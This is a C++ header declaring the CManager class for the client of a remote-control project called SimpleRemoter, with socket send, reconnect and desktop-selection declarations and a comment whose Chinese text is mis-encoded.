Files
SimpleRemoter/client/Manager.h
2025-07-24 04:20:39 +08:00

62 lines
1.7 KiB
C++

// Manager.h: interface for the CManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
#define AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "..\common\commands.h"
#include "IOCPClient.h"
#define ENABLE_VSCREEN 1
#define ENABLE_KEYBOARD 1
HDESK SelectDesktop(TCHAR* name);
std::string GetBotId();
typedef IOCPClient CClientSocket;
typedef IOCPClient ISocketBase;
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive = false);
class CManager : public IOCPManager
{
public:
const State&g_bExit; // 1-±»¿Ø¶ËÍ˳ö 2-Ö÷¿Ø¶ËÍ˳ö
BOOL m_bReady;
CManager(IOCPClient* ClientObject);
virtual ~CManager();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength){}
IOCPClient* m_ClientObject;
HANDLE m_hEventDlgOpen;
VOID WaitForDialogOpen();
VOID NotifyDialogIsOpen();
BOOL IsConnected() const {
return m_ClientObject->IsConnected();
}
BOOL Reconnect() {
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
}
virtual void Notify() { }
int Send(LPBYTE lpData, UINT nSize);
int SendData(LPBYTE lpData, UINT nSize) {
return Send(lpData, nSize);
}
virtual void SetReady(BOOL ready = true) { m_bReady = ready; }
};
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)